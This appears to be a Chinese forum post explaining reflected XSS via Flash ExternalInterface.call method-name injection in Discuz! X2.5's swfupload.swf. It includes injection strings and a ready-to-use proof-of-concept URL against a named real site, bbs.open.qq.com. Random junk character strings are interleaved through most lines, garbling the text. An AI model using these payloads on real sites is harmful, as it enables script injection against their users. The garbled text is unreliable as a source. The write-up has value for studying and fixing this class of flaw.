上回我们说7 s4 L1 V3 j3 e& @( h% v: n/ E& [
: P& G. [1 e' {5 w- W! ?/ }! r k' a6 ?flash.external.ExternalInterface.call($methodName, $parameter)( l6 q7 X0 |7 L1 a
在浏览器中执行的是
# v/ y: C, N7 _; `+ d! n# | a& U6 z5 u1 j- V, V$ B
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
" I L9 G+ n6 C8 d0 |5 ]" u对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
/ p. {8 d7 n2 h( f
0 U# }1 @) C! ]- l& A6 M) D/ Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)0 M1 J, O/ [, a- {3 H2 D4 }
$methodName = a())}catch(e){alert(/xss/)}//' |, w; [- b+ a
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。2 e w* {+ y! W7 |
& e& Y: X$ m. a3 Z( y# I b* h
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }8 a# P1 e$ |: h! A0 Q6 r! r
+ k( v9 ~ j- s; ^
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )8 p0 r7 o, T! _0 i
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。( Y. [: E) `0 T1 n
$ q$ I* i" U6 i0 I2 W5 g$ W5 ?
5 E, [+ ? t6 e$ l9 e
) R9 T4 F- y; m. ^漏洞文件:upload\static\image\common\swfupload.swf, \. \ G. j9 w1 T% A
! c( C Y) x5 Q$ ]原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
& I$ g0 [/ l K* e1 {
; s* y0 o# u5 J8 Y0 _& g/ S2 u5 x7 {8 a, g5 a. i: _
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//$ x) |' g6 M6 M1 R2 w' n2 `0 y" p# l
! w" I t; ?/ @# N' S
9 Z4 O2 H: c8 E( I& v- D6 U
|